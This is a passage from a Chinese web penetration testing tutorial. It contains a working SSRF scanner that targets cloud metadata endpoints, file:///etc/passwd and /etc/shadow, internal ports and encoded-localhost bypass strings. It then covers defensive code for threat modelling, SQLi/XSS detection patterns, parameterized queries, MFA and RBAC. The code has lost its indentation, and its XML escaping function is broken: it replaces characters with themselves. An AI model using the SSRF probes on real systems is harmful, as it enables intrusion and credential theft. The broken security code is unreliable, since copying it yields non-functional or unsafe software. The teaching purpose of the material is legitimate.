"""检查日志注入"""
try:
response = self.session.get(f"{self.base_url}/admin/logs")
if response.status_code == 200:
logs = response.json()
for log in logs:
if malicious_input in log.get('details', ''):
return True
except Exception:
pass
return False
# 使用示例
logging_tester = LoggingTester("http://vulnerable-app.com")
logging_tester.test_logging_bypass()
logging_tester.test_log_tampering()
logging_tester.test_log_injection()
3.1.10 A10: 服务器端请求伪造 (Server-Side Request Forgery)
服务器端请求伪造是指应用程序未能验证用户提供的URL,导致攻击者能够强制应用程序向任意地址发送请求。
攻击示例:
import requests
import socket
import urllib.parse
class SSRFTest:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
def test_ssrf_vulnerabilities(self):
"""测试SSRF漏洞"""
print("Testing SSRF vulnerabilities...")
# 测试各种SSRF攻击向量
self.test_internal_network_access()
self.test_cloud_metadata_access()
self.test_file_scheme_access()
self.test_port_scanning()
self.test_blind_ssrf()
def test_internal_network_access(self):
"""测试内部网络访问"""
print("Testing internal network access...")
# 常见的内部IP地址
internal_ips = [
'127.0.0.1',
'localhost',
'0.0.0.0',
'10.0.0.1',
'192.168.1.1',
'172.16.0.1'
]
for ip in internal_ips:
if self.test_ssrf_request(ip):
print(f"[VULNERABLE] Internal network access via {ip}")
return True
return False
def test_cloud_metadata_access(self):
"""测试云元数据访问"""
print("Testing cloud metadata access...")
# 云服务元数据端点
metadata_endpoints = [
'169.254.169.254/latest/meta-data/', # AWS
'169.254.169.254/metadata/instance', # Azure
'metadata.google.internal/computeMetadata/v1/', # GCP
]
for endpoint in metadata_endpoints:
if self.test_ssrf_request(endpoint):
print(f"[VULNERABLE] Cloud metadata access via {endpoint}")
return True
return False
def test_file_scheme_access(self):
"""测试file://协议访问"""
print("Testing file:// scheme access...")
# 尝试访问本地文件
file_paths = [
'file:///etc/passwd',
'file:///etc/shadow',
'file:///etc/hosts',
'file:///proc/version',
'file:///proc/self/environ'
]
for file_path in file_paths:
if self.test_ssrf_request(file_path):
print(f"[VULNERABLE] File access via {file_path}")
return True
return False
def test_port_scanning(self):
"""测试端口扫描"""
print("Testing port scanning...")
# 扫描常见端口
common_ports = [22, 23, 25, 53, 80, 110, 143, 443, 993, 995, 3389, 5432, 3306]
open_ports = []
for port in common_ports:
if self.test_ssrf_port('127.0.0.1', port):
open_ports.append(port)
if open_ports:
print(f"[VULNERABLE] Port scanning successful. Open ports: {open_ports}")
return True
return False
def test_blind_ssrf(self):
"""测试盲SSRF"""
print("Testing blind SSRF...")
# 使用外部服务检测盲SSRF
test_url = "http://httpbin.org/get"
if self.test_ssrf_request(test_url):
print("[VULNERABLE] Blind SSRF detected")
return True
return False
def test_ssrf_request(self, target_url):
"""测试SSRF请求"""
# 常见的SSRF参数
ssrf_params = ['url', 'link', 'src', 'path', 'file', 'page', 'redirect']
for param in ssrf_params:
try:
response = self.session.get(f"{self.base_url}/fetch",
params={param: target_url},
timeout=5)
if response.status_code == 200:
# 检查响应内容
if self.analyze_ssrf_response(response, target_url):
return True
except Exception:
continue
return False
def test_ssrf_port(self, host, port):
"""测试SSRF端口扫描"""
target_url = f"http://{host}:{port}"
try:
response = self.session.get(f"{self.base_url}/fetch",
params={'url': target_url},
timeout=3)
# 检查是否成功连接到端口
if response.status_code == 200:
return True
except Exception:
pass
return False
def analyze_ssrf_response(self, response, target_url):
"""分析SSRF响应"""
content = response.text.lower()
# 检查响应中是否包含目标内容
if 'root:' in content or 'bin:' in content: # /etc/passwd
return True
elif 'instance-id' in content or 'ami-id' in content: # AWS metadata
return True
elif 'microsoft' in content or 'azure' in content: # Azure metadata
return True
elif 'google' in content or 'gce' in content: # GCP metadata
return True
elif 'httpbin.org' in content: # External service
return True
return False
def test_ssrf_bypass(self):
"""测试SSRF绕过技术"""
print("Testing SSRF bypass techniques...")
# 各种绕过技术
bypass_techniques = [
'127.0.0.1',
'localhost',
'0.0.0.0',
'127.1',
'127.0.1',
'2130706433', # 127.0.0.1的十进制表示
'0x7f000001', # 127.0.0.1的十六进制表示
'017700000001', # 127.0.0.1的八进制表示
'127.0.0.1.xip.io',
'127.0.0.1.nip.io',
'127.0.0.1.1time.org',
'127.0.0.1.1e100.net'
]
for technique in bypass_techniques:
if self.test_ssrf_request(technique):
print(f"[VULNERABLE] SSRF bypass successful: {technique}")
return True
return False
# 使用示例
ssrf_tester = SSRFTest("http://vulnerable-app.com")
ssrf_tester.test_ssrf_vulnerabilities()
ssrf_tester.test_ssrf_bypass()
通过以上内容,我们已经详细介绍了Web渗透测试中的主要漏洞类型。每个部分都包含了详细的攻击示例、代码实现和防护措施,帮助读者全面理解这些安全风险及其防护方法。
第五部分:防御措施与最佳实践
5.1 Web应用安全架构设计
5.1.1 安全开发生命周期(SDL)
安全开发生命周期是一个系统性的方法,将安全考虑集成到软件开发的每个阶段:
SDL阶段包括:
-
需求阶段
- 安全需求分析
- 威胁建模
- 安全目标定义 -
设计阶段
- 安全架构设计
- 安全控制选择
- 接口安全设计 -
实现阶段
- 安全编码实践
- 代码审查
- 静态分析 -
测试阶段
- 安全测试
- 渗透测试
- 漏洞评估 -
部署阶段
- 安全配置
- 环境加固
- 监控部署 -
维护阶段
- 安全更新
- 漏洞管理
- 持续监控
威胁建模示例:
class ThreatModel:
def __init__(self, application_name):
self.app_name = application_name
self.threats = []
self.assets = []
self.attack_vectors = []
def add_asset(self, asset_name, asset_type, value):
"""添加资产到威胁模型"""
asset = {
'name': asset_name,
'type': asset_type,
'value': value,
'threats': []
}
self.assets.append(asset)
return asset
def add_threat(self, threat_name, description, likelihood, impact):
"""添加威胁到模型"""
threat = {
'name': threat_name,
'description': description,
'likelihood': likelihood, # 1-5
'impact': impact, # 1-5
'risk_score': likelihood * impact
}
self.threats.append(threat)
return threat
def generate_threat_report(self):
"""生成威胁分析报告"""
report = f"威胁模型报告 - {self.app_name}\n"
report += "=" * 50 + "\n\n"
# 按风险评分排序
sorted_threats = sorted(self.threats, key=lambda x: x['risk_score'], reverse=True)
for threat in sorted_threats:
report += f"威胁: {threat['name']}\n"
report += f"描述: {threat['description']}\n"
report += f"可能性: {threat['likelihood']}/5\n"
report += f"影响: {threat['impact']}/5\n"
report += f"风险评分: {threat['risk_score']}/25\n"
report += "-" * 30 + "\n"
return report
# 使用示例
threat_model = ThreatModel("电商网站")
# 添加资产
threat_model.add_asset("用户数据库", "数据", 5)
threat_model.add_asset("支付系统", "系统", 5)
threat_model.add_asset("用户会话", "数据", 3)
# 添加威胁
threat_model.add_threat(
"SQL注入",
"攻击者通过恶意SQL语句获取数据库访问权限",
3, 5
)
threat_model.add_threat(
"会话劫持",
"攻击者窃取用户会话令牌进行未授权访问",
2, 4
)
print(threat_model.generate_threat_report())
5.1.2 安全架构模式
1. 分层安全架构
class LayeredSecurity:
def __init__(self):
self.layers = []
def add_layer(self, layer_name, security_controls):
"""添加安全层"""
layer = {
'name': layer_name,
'controls': security_controls,
'enabled': True
}
self.layers.append(layer)
def validate_request(self, request):
"""通过所有安全层验证请求"""
for layer in self.layers:
if not layer['enabled']:
continue
for control in layer['controls']:
if not control.validate(request):
return False, f"安全层 {layer['name']} 中的 {control.name} 验证失败"
return True, "所有安全层验证通过"
class SecurityControl:
def __init__(self, name):
self.name = name
def validate(self, request):
"""验证请求,子类需要实现"""
raise NotImplementedError
class InputValidation(SecurityControl):
def __init__(self):
super().__init__("输入验证")
def validate(self, request):
"""验证输入数据"""
# 检查SQL注入
if self.check_sql_injection(request.data):
return False
# 检查XSS
if self.check_xss(request.data):
return False
return True
def check_sql_injection(self, data):
"""检查SQL注入"""
sql_patterns = [
r"(\b(SELECT|INSERT|UPDATE|DELETE|DROP|CREATE|ALTER)\b)",
r"(\b(UNION|OR|AND)\b.*\b(SELECT|INSERT|UPDATE|DELETE)\b)",
r"(--|#|/\*|\*/)",
r"(\b(EXEC|EXECUTE|SP_)\b)"
]
import re
for pattern in sql_patterns:
if re.search(pattern, data, re.IGNORECASE):
return True
return False
def check_xss(self, data):
"""检查XSS"""
xss_patterns = [
r"<script[^>]*>.*?</script>",
r"javascript:",
r"on\w+\s*=",
r"<iframe[^>]*>",
r"<object[^>]*>",
r"<embed[^>]*>"
]
import re
for pattern in xss_patterns:
if re.search(pattern, data, re.IGNORECASE):
return True
return False
class AuthenticationControl(SecurityControl):
def __init__(self):
super().__init__("身份认证")
def validate(self, request):
"""验证身份认证"""
if not hasattr(request, 'session') or not request.session.get('authenticated'):
return False
# 检查会话是否过期
if self.is_session_expired(request.session):
return False
return True
def is_session_expired(self, session):
"""检查会话是否过期"""
import time
if 'last_activity' not in session:
return True
# 30分钟超时
return time.time() - session['last_activity'] > 1800
# 使用示例
security = LayeredSecurity()
# 添加安全层
security.add_layer("网络层", [
InputValidation(),
AuthenticationControl()
])
# 模拟请求验证
class MockRequest:
def __init__(self, data, session=None):
self.data = data
self.session = session or {}
request = MockRequest("SELECT * FROM users", {'authenticated': True, 'last_activity': 1000})
is_valid, message = security.validate_request(request)
print(f"请求验证结果: {is_valid}, 消息: {message}")
2. 零信任安全模型
class ZeroTrustSecurity:
def __init__(self):
self.policies = []
self.devices = {}
self.users = {}
def add_policy(self, policy_name, conditions, actions):
"""添加安全策略"""
policy = {
'name': policy_name,
'conditions': conditions,
'actions': actions,
'enabled': True
}
self.policies.append(policy)
def register_device(self, device_id, device_info):
"""注册设备"""
self.devices[device_id] = {
'info': device_info,
'trust_score': 0,
'last_seen': None,
'compliance_status': 'unknown'
}
def register_user(self, user_id, user_info):
"""注册用户"""
self.users[user_id] = {
'info': user_info,
'trust_score': 0,
'risk_level': 'medium',
'last_activity': None
}
def evaluate_access_request(self, user_id, device_id, resource, action):
"""评估访问请求"""
# 获取用户和设备信息
user = self.users.get(user_id)
device = self.devices.get(device_id)
if not user or not device:
return False, "用户或设备未注册"
# 计算信任评分
trust_score = self.calculate_trust_score(user, device)
# 应用策略
for policy in self.policies:
if not policy['enabled']:
continue
if self.evaluate_policy(policy, user, device, resource, action, trust_score):
return True, f"策略 {policy['name']} 允许访问"
return False, "所有策略都拒绝访问"
def calculate_trust_score(self, user, device):
"""计算信任评分"""
score = 0
# 用户因素
if user['risk_level'] == 'low':
score += 30
elif user['risk_level'] == 'medium':
score += 20
else:
score += 10
# 设备因素
if device['compliance_status'] == 'compliant':
score += 30
elif device['compliance_status'] == 'partial':
score += 20
else:
score += 10
# 时间因素
import time
current_time = time.time()
if user['last_activity'] and (current_time - user['last_activity']) < 3600:
score += 20 # 最近活跃
else:
score += 10
if device['last_seen'] and (current_time - device['last_seen']) < 3600:
score += 20 # 最近活跃
else:
score += 10
return min(score, 100)
def evaluate_policy(self, policy, user, device, resource, action, trust_score):
"""评估单个策略"""
for condition in policy['conditions']:
if not self.check_condition(condition, user, device, resource, action, trust_score):
return False
return True
def check_condition(self, condition, user, device, resource, action, trust_score):
"""检查单个条件"""
condition_type = condition.get('type')
if condition_type == 'trust_score':
return trust_score >= condition.get('min_score', 0)
elif condition_type == 'user_role':
return user['info'].get('role') in condition.get('roles', [])
elif condition_type == 'device_type':
return device['info'].get('type') in condition.get('types', [])
elif condition_type == 'resource_sensitivity':
return resource.get('sensitivity', 'low') in condition.get('levels', [])
elif condition_type == 'time_based':
import datetime
current_hour = datetime.datetime.now().hour
return condition.get('start_hour', 0) <= current_hour <= condition.get('end_hour', 23)
return True
# 使用示例
zt_security = ZeroTrustSecurity()
# 注册用户和设备
zt_security.register_user("user1", {
'name': '张三',
'role': 'admin',
'department': 'IT'
})
zt_security.register_device("device1", {
'type': 'laptop',
'os': 'Windows 10',
'ip': '192.168.1.100'
})
# 添加策略
zt_security.add_policy(
"管理员访问策略",
[
{'type': 'user_role', 'roles': ['admin']},
{'type': 'trust_score', 'min_score': 70},
{'type': 'time_based', 'start_hour': 8, 'end_hour': 18}
],
['allow']
)
# 评估访问请求
result, message = zt_security.evaluate_access_request(
"user1", "device1",
{'name': 'admin_panel', 'sensitivity': 'high'},
'read'
)
print(f"访问结果: {result}, 消息: {message}")
5.2 安全编码实践
5.2.1 输入验证与输出编码
1. 输入验证框架
import re
import html
import urllib.parse
from typing import Any, Dict, List, Optional, Union
class InputValidator:
def __init__(self):
self.validation_rules = {}
self.sanitization_rules = {}
def add_validation_rule(self, field_name: str, rule_type: str, pattern: str,
error_message: str = None):
"""添加验证规则"""
if field_name not in self.validation_rules:
self.validation_rules[field_name] = []
rule = {
'type': rule_type,
'pattern': pattern,
'error_message': error_message or f"{field_name} 验证失败"
}
self.validation_rules[field_name].append(rule)
def add_sanitization_rule(self, field_name: str, sanitization_type: str):
"""添加清理规则"""
self.sanitization_rules[field_name] = sanitization_type
def validate_input(self, field_name: str, value: Any) -> tuple[bool, str]:
"""验证输入"""
if field_name not in self.validation_rules:
return True, "无验证规则"
for rule in self.validation_rules[field_name]:
if not self._apply_validation_rule(rule, value):
return False, rule['error_message']
return True, "验证通过"
def sanitize_input(self, field_name: str, value: str) -> str:
"""清理输入"""
if field_name not in self.sanitization_rules:
return value
sanitization_type = self.sanitization_rules[field_name]
if sanitization_type == 'html_escape':
return html.escape(value)
elif sanitization_type == 'url_encode':
return urllib.parse.quote(value)
elif sanitization_type == 'sql_escape':
return self._escape_sql(value)
elif sanitization_type == 'remove_html':
return re.sub(r'<[^>]+>', '', value)
elif sanitization_type == 'alphanumeric_only':
return re.sub(r'[^a-zA-Z0-9]', '', value)
return value
def _apply_validation_rule(self, rule: Dict, value: Any) -> bool:
"""应用验证规则"""
rule_type = rule['type']
pattern = rule['pattern']
if rule_type == 'regex':
return bool(re.match(pattern, str(value)))
elif rule_type == 'length':
min_len, max_len = pattern.split(',')
return int(min_len) <= len(str(value)) <= int(max_len)
elif rule_type == 'email':
email_pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
return bool(re.match(email_pattern, str(value)))
elif rule_type == 'phone':
phone_pattern = r'^\+?1?\d{9,15}$'
return bool(re.match(phone_pattern, str(value)))
elif rule_type == 'numeric':
return str(value).isdigit()
elif rule_type == 'alphanumeric':
return str(value).isalnum()
return True
def _escape_sql(self, value: str) -> str:
"""SQL转义"""
# 简单的SQL转义,实际应用中应使用参数化查询
return value.replace("'", "''").replace("\\", "\\\\")
class OutputEncoder:
def __init__(self):
self.encoding_rules = {}
def add_encoding_rule(self, context: str, encoding_type: str):
"""添加编码规则"""
self.encoding_rules[context] = encoding_type
def encode_output(self, context: str, value: str) -> str:
"""编码输出"""
if context not in self.encoding_rules:
return value
encoding_type = self.encoding_rules[context]
if encoding_type == 'html':
return html.escape(value)
elif encoding_type == 'url':
return urllib.parse.quote(value)
elif encoding_type == 'javascript':
return self._escape_javascript(value)
elif encoding_type == 'css':
return self._escape_css(value)
elif encoding_type == 'xml':
return self._escape_xml(value)
return value
def _escape_javascript(self, value: str) -> str:
"""JavaScript转义"""
return (value.replace('\\', '\\\\')
.replace("'", "\\'")
.replace('"', '\\"')
.replace('\n', '\\n')
.replace('\r', '\\r')
.replace('\t', '\\t'))
def _escape_css(self, value: str) -> str:
"""CSS转义"""
return value.replace('\\', '\\\\').replace('"', '\\"')
def _escape_xml(self, value: str) -> str:
"""XML转义"""
return (value.replace('&', '&')
.replace('<', '<')
.replace('>', '>')
.replace('"', '"')
.replace("'", '''))
# 使用示例
validator = InputValidator()
encoder = OutputEncoder()
# 配置验证规则
validator.add_validation_rule('username', 'regex', r'^[a-zA-Z0-9_]{3,20}$',
'用户名只能包含字母、数字和下划线,长度3-20位')
validator.add_validation_rule('email', 'email', '', '邮箱格式不正确')
validator.add_validation_rule('age', 'numeric', '', '年龄必须是数字')
validator.add_validation_rule('phone', 'phone', '', '电话号码格式不正确')
# 配置清理规则
validator.add_sanitization_rule('username', 'alphanumeric_only')
validator.add_sanitization_rule('description', 'html_escape')
# 配置编码规则
encoder.add_encoding_rule('html_output', 'html')
encoder.add_encoding_rule('javascript_output', 'javascript')
encoder.add_encoding_rule('url_output', 'url')
# 测试输入验证和清理
test_data = {
'username': 'user<script>alert("xss")</script>',
'email': 'test@example.com',
'age': '25',
'phone': '+1234567890',
'description': '<p>This is a <b>test</b> description</p>'
}
for field, value in test_data.items():
# 验证输入
is_valid, message = validator.validate_input(field, value)
print(f"{field}: {value} -> 验证: {is_valid}, 消息: {message}")
# 清理输入
sanitized = validator.sanitize_input(field, value)
print(f"清理后: {sanitized}")
# 编码输出
encoded = encoder.encode_output('html_output', sanitized)
print(f"编码后: {encoded}")
print("-" * 50)
2. 参数化查询实现
import sqlite3
import psycopg2
import pymysql
from typing import Any, Dict, List, Optional, Union
class SecureDatabase:
def __init__(self, db_type: str, connection_params: Dict[str, Any]):
self.db_type = db_type
self.connection_params = connection_params
self.connection = None
def connect(self):
"""建立数据库连接"""
try:
if self.db_type == 'sqlite':
self.connection = sqlite3.connect(**self.connection_params)
elif self.db_type == 'postgresql':
self.connection = psycopg2.connect(**self.connection_params)
elif self.db_type == 'mysql':
self.connection = pymysql.connect(**self.connection_params)
else:
raise ValueError(f"不支持的数据库类型: {self.db_type}")
print(f"成功连接到 {self.db_type} 数据库")
except Exception as e:
print(f"数据库连接失败: {e}")
raise
def execute_query(self, query: str, params: tuple = None) -> List[Dict]:
"""执行参数化查询"""
if not self.connection:
self.connect()
try:
cursor = self.connection.cursor()
if params:
cursor.execute(query, params)
else:
cursor.execute(query)
# 获取列名
columns = [description[0] for description in cursor.description] if cursor.description else []
# 获取结果
results = cursor.fetchall()
# 转换为字典列表
result_list = []
for row in results:
result_list.append(dict(zip(columns, row)))
cursor.close()
return result_list
except Exception as e:
print(f"查询执行失败: {e}")
raise
def execute_update(self, query: str, params: tuple = None) -> int:
"""执行参数化更新操作"""
if not self.connection:
self.connect()
try:
cursor = self.connection.cursor()
if params:
cursor.execute(query, params)
else:
cursor.execute(query)
affected_rows = cursor.rowcount
self.connection.commit()
cursor.close()
return affected_rows
except Exception as e:
self.connection.rollback()
print(f"更新操作失败: {e}")
raise
def close(self):
"""关闭数据库连接"""
if self.connection:
self.connection.close()
self.connection = None
class UserManager:
def __init__(self, db: SecureDatabase):
self.db = db
def create_user(self, username: str, email: str, password_hash: str) -> bool:
"""创建用户(使用参数化查询)"""
query = """
INSERT INTO users (username, email, password_hash, created_at)
VALUES (?, ?, ?, datetime('now'))
"""
try:
affected_rows = self.db.execute_update(query, (username, email, password_hash))
return affected_rows > 0
except Exception as e:
print(f"创建用户失败: {e}")
return False
def get_user_by_username(self, username: str) -> Optional[Dict]:
"""根据用户名获取用户(使用参数化查询)"""
query = "SELECT * FROM users WHERE username = ?"
try:
results = self.db.execute_query(query, (username,))
return results[0] if results else None
except Exception as e:
print(f"获取用户失败: {e}")
return None
def search_users(self, search_term: str, limit: int = 10) -> List[Dict]:
"""搜索用户(使用参数化查询)"""
query = """
SELECT * FROM users
WHERE username LIKE ? OR email LIKE ?
LIMIT ?
"""
search_pattern = f"%{search_term}%"
try:
return self.db.execute_query(query, (search_pattern, search_pattern, limit))
except Exception as e:
print(f"搜索用户失败: {e}")
return []
def update_user_profile(self, user_id: int, **kwargs) -> bool:
"""更新用户资料(使用参数化查询)"""
# 构建动态更新查询
set_clauses = []
params = []
for field, value in kwargs.items():
if field in ['username', 'email', 'full_name', 'bio']:
set_clauses.append(f"{field} = ?")
params.append(value)
if not set_clauses:
return False
query = f"UPDATE users SET {', '.join(set_clauses)} WHERE id = ?"
params.append(user_id)
try:
affected_rows = self.db.execute_update(query, tuple(params))
return affected_rows > 0
except Exception as e:
print(f"更新用户资料失败: {e}")
return False
# 使用示例
# 创建数据库连接
db = SecureDatabase('sqlite', {'database': 'test.db'})
# 创建用户管理器
user_manager = UserManager(db)
# 创建用户表(仅用于演示)
create_table_query = """
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
email TEXT UNIQUE NOT NULL,
password_hash TEXT NOT NULL,
full_name TEXT,
bio TEXT,
created_at DATETIME
)
"""
db.execute_update(create_table_query)
# 测试参数化查询
print("=== 测试参数化查询 ===")
# 创建用户
success = user_manager.create_user("testuser", "test@example.com", "hashed_password")
print(f"创建用户: {success}")
# 获取用户
user = user_manager.get_user_by_username("testuser")
print(f"获取用户: {user}")
# 搜索用户
users = user_manager.search_users("test")
print(f"搜索用户: {users}")
# 更新用户资料
updated = user_manager.update_user_profile(1, full_name="Test User", bio="This is a test user")
print(f"更新用户资料: {updated}")
# 关闭连接
db.close()
5.2.2 身份认证与授权
1. 多因素认证(MFA)实现
import hashlib
import hmac
import time
import secrets
import pyotp
import qrcode
from io import BytesIO
import base64
from typing import Dict, Optional, Tuple
class MultiFactorAuth:
def __init__(self):
self.users = {}
self.totp_secrets = {}
self.backup_codes = {}
def register_user(self, username: str, password_hash: str) -> bool:
"""注册用户"""
if username in self.users:
return False
self.users[username] = {
'password_hash': password_hash,
'mfa_enabled': False,
'totp_secret': None,
'backup_codes': [],
'failed_attempts': 0,
'locked_until': None
}
return True
def generate_totp_secret(self, username: str) -> Tuple[str, str]:
"""生成TOTP密钥和二维码"""
if username not in self.users:
raise ValueError("用户不存在")
# 生成随机密钥
secret = pyotp.random_base32()
self.totp_secrets[username] = secret
# 生成TOTP对象
totp = pyotp.TOTP(secret)
# 生成二维码URL
qr_url = totp.provisioning_uri(
name=username,
issuer_name="SecureApp"
)
# 生成二维码图片
qr = qrcode.QRCode(version=1, box_size=10, border=5)
qr.add_data(qr_url)
qr.make(fit=True)
img = qr.make_image(fill_color="black", back_color="white")
# 转换为base64字符串
buffer = BytesIO()
img.save(buffer, format='PNG')
img_str = base64.b64encode(buffer.getvalue()).decode()
return secret, img_str
def enable_mfa(self, username: str, totp_code: str) -> bool:
"""启用MFA"""
if username not in self.users or username not in self.totp_secrets:
return False
# 验证TOTP代码
totp = pyotp.TOTP(self.totp_secrets[username])
if not totp.verify(totp_code):
return False
# 生成备用代码
backup_codes = [secrets.token_hex(4) for _ in range(10)]
# 更新用户信息
self.users[username]['mfa_enabled'] = True
self.users[username]['totp_secret'] = self.totp_secrets[username]
self.users[username]['backup_codes'] = backup_codes
self.backup_codes[username] = backup_codes
return True
def generate_backup_codes(self, username: str) -> list:
"""生成新的备用代码"""
if username not in self.users:
return []
backup_codes = [secrets.token_hex(4) for _ in range(10)]
self.users[username]['backup_codes'] = backup_codes
self.backup_codes[username] = backup_codes
return backup_codes
def verify_totp(self, username: str, totp_code: str) -> bool:
"""验证TOTP代码"""
if username not in self.users or not self.users[username]['mfa_enabled']:
return False
totp = pyotp.TOTP(self.users[username]['totp_secret'])
return totp.verify(totp_code)
def verify_backup_code(self, username: str, backup_code: str) -> bool:
"""验证备用代码"""
if username not in self.users or username not in self.backup_codes:
return False
if backup_code in self.backup_codes[username]:
# 使用后删除备用代码
self.backup_codes[username].remove(backup_code)
self.users[username]['backup_codes'] = self.backup_codes[username]
return True
return False
def authenticate(self, username: str, password: str, mfa_code: str = None) -> Tuple[bool, str]:
"""用户认证"""
if username not in self.users:
return False, "用户不存在"
user = self.users[username]
# 检查账户是否被锁定
if user['locked_until'] and time.time() < user['locked_until']:
return False, "账户已被锁定"
# 验证密码
if not self._verify_password(password, user['password_hash']):
user['failed_attempts'] += 1
# 5次失败后锁定账户30分钟
if user['failed_attempts'] >= 5:
user['locked_until'] = time.time() + 1800 # 30分钟
return False, "密码错误次数过多,账户已被锁定30分钟"
return False, f"密码错误,还有{5 - user['failed_attempts']}次机会"
# 如果启用了MFA,验证MFA代码
if user['mfa_enabled']:
if not mfa_code:
return False, "需要提供MFA代码"
# 尝试TOTP验证
if self.verify_totp(username, mfa_code):
pass
# 尝试备用代码验证
elif self.verify_backup_code(username, mfa_code):
pass
else:
return False, "MFA验证失败"
# 认证成功,重置失败次数
user['failed_attempts'] = 0
user['locked_until'] = None
return True, "认证成功"
def _verify_password(self, password: str, password_hash: str) -> bool:
"""验证密码(简化版本,实际应用中应使用bcrypt等)"""
return hashlib.sha256(password.encode()).hexdigest() == password_hash
# 使用示例
mfa = MultiFactorAuth()
# 注册用户
mfa.register_user("testuser", hashlib.sha256("password123".encode()).hexdigest())
# 生成TOTP密钥和二维码
secret, qr_code = mfa.generate_totp_secret("testuser")
print(f"TOTP密钥: {secret}")
print(f"二维码: data:image/png;base64,{qr_code}")
# 启用MFA(需要用户输入TOTP代码)
# mfa.enable_mfa("testuser", "123456") # 实际应用中从用户输入获取
# 认证测试
success, message = mfa.authenticate("testuser", "password123")
print(f"认证结果: {success}, 消息: {message}")
2. 基于角色的访问控制(RBAC)
from enum import Enum
from typing import Dict, List, Set, Optional
import json
class Permission(Enum):
"""权限枚举"""
READ = "read"
WRITE = "write"
DELETE = "delete"
ADMIN = "admin"
USER_MANAGEMENT = "user_management"
SYSTEM_CONFIG = "system_config"
class Role:
def __init__(self, name: str, description: str = ""):
self.name = name
self.description = description
self.permissions: Set[Permission] = set()
def add_permission(self, permission: Permission):
"""添加权限"""
self.permissions.add(permission)
def remove_permission(self, permission: Permission):
"""移除权限"""
self.permissions.discard(permission)
def has_permission(self, permission: Permission) -> bool:
"""检查是否有权限"""
return permission in self.permissions
def to_dict(self) -> Dict:
"""转换为字典"""
return {
'name': self.name,
'description': self.description,
'permissions': [p.value for p in self.permissions]
}
class User:
def __init__(self, username: str, email: str):
self.username = username
self.email = email
self.roles: Set[str] = set()
self.direct_permissions: Set[Permission] = set()
def add_role(self, role_name: str):
"""添加角色"""
self.roles.add(role_name)
def remove_role(self, role_name: str):
"""移除角色"""
self.roles.discard(role_name)
def add_permission(self, permission: Permission):
"""添加直接权限"""
self.direct_permissions.add(permission)
def remove_permission(self, permission: Permission):
"""移除直接权限"""
self.direct_permissions.discard(permission)
def has_permission(self, permission: Permission, role_manager) -> bool:
"""检查是否有权限"""
# 检查直接权限
if permission in self.direct_permissions:
return True
# 检查角色权限
for role_name in self.roles:
role = role_manager.get_role(role_name)
if role and role.has_permission(permission):
return True
return False
def to_dict(self) -> Dict:
"""转换为字典"""
return {
'username': self.username,
'email': self.email,
'roles': list(self.roles),
'direct_permissions': [p.value for p in self.direct_permissions]
}
class RBACManager:
def __init__(self):
self.roles: Dict[str, Role] = {}
self.users: Dict[str, User] = {}
self.resources: Dict[str, Dict] = {}
def create_role(self, name: str, description: str = "") -> Role:
"""创建角色"""
if name in self.roles:
raise ValueError(f"角色 {name} 已存在")
role = Role(name, description)
self.roles[name] = role
return role
def get_role(self, name: str) -> Optional[Role]:
"""获取角色"""
return self.roles.get(name)
def delete_role(self, name: str) -> bool:
"""删除角色"""
if name not in self.roles:
return False
# 从所有用户中移除该角色
for user in self.users.values():
user.remove_role(name)
del self.roles[name]
return True
def create_user(self, username: str, email: str) -> User:
"""创建用户"""
if username in self.users:
raise ValueError(f"用户 {username} 已存在")
user = User(username, email)
self.users[username] = user
return user
def get_user(self, username: str) -> Optional[User]:
"""获取用户"""
return self.users.get(username)
def assign_role_to_user(self, username: str, role_name: str) -> bool:
"""为用户分配角色"""
if username not in self.users or role_name not in self.roles:
return False
self.users[username].add_role(role_name)
return True
def remove_role_from_user(self, username: str, role_name: str) -> bool:
"""移除用户角色"""
if username not in self.users:
return False
self.users[username].remove_role(role_name)
return True
def grant_permission_to_user(self, username: str, permission: Permission) -> bool:
"""授予用户直接权限"""
if username not in self.users:
return False
self.users[username].add_permission(permission)
return True
def revoke_permission_from_user(self, username: str, permission: Permission) -> bool:
"""撤销用户直接权限"""
if username not in self.users:
return False
self.users[username].remove_permission(permission)
return True
def check_permission(self, username: str, permission: Permission) -> bool:
"""检查用户权限"""
if username not in self.users:
return False
return self.users[username].has_permission(permission, self)
def get_user_permissions(self, username: str) -> Set[Permission]:
"""获取用户所有权限"""
if username not in self.users:
return set()
user = self.users[username]
permissions = user.direct_permissions.copy()
# 添加角色权限
for role_name in user.roles:
role = self.get_role(role_name)
if role:
permissions.update(role.permissions)
return permissions
def create_resource(self, name: str, resource_type: str, owner: str) -> bool:
"""创建资源"""
if name in self.resources:
return False
self.resources[name] = {
'type': resource_type,
'owner': owner,
'permissions': {}
}
return True
def set_resource_permission(self, resource_name: str, username: str, permission: Permission) -> bool:
"""设置资源权限"""
if resource_name not in self.resources:
return False
if username not in self.resources[resource_name]['permissions']:
self.resources[resource_name]['permissions'][username] = set()
self.resources[resource_name]['permissions'][username].add(permission)
return True
def check_resource_permission(self, resource_name: str, username: str, permission: Permission) -> bool:
"""检查资源权限"""
if resource_name not in self.resources:
return False
resource = self.resources[resource_name]
# 检查资源所有者
if resource['owner'] == username:
return True
# 检查直接权限
if username in resource['permissions']:
if permission in resource['permissions'][username]:
return True
# 检查系统级权限
return self.check_permission(username, permission)
def export_config(self) -> str:
"""导出配置"""
config = {
'roles': {name: role.to_dict() for name, role in self.roles.items()},
'users': {name: user.to_dict() for name, user in self.users.items()},
'resources': self.resources
}
return json.dumps(config, indent=2, ensure_ascii=False)
def import_config(self, config_json: str) -> bool:
"""导入配置"""
try:
config = json.loads(config_json)
# 导入角色
for name, role_data in config.get('roles', {}).items():
role = self.create_role(name, role_data.get('description', ''))
for perm_str in role_data.get('permissions', []):
role.add_permission(Permission(perm_str))
# 导入用户
for name, user_data in config.get('users', {}).items():
user = self.create_user(name, user_data['email'])
for role_name in user_data.get('roles', []):
user.add_role(role_name)
for perm_str in user_data.get('direct_permissions', []):
user.add_permission(Permission(perm_str))
# 导入资源
self.resources = config.get('resources', {})
return True
except Exception as e:
print(f"导入配置失败: {e}")
return False
# 使用示例
rbac = RBACManager()
# 创建角色
admin_role = rbac.create_role("admin", "系统管理员")
admin_role.add_permission(Permission.ADMIN)
admin_role.add_permission(Permission.USER_MANAGEMENT)
admin_role.add_permission(Permission.SYSTEM_CONFIG)
user_role = rbac.create_role("user", "普通用户")
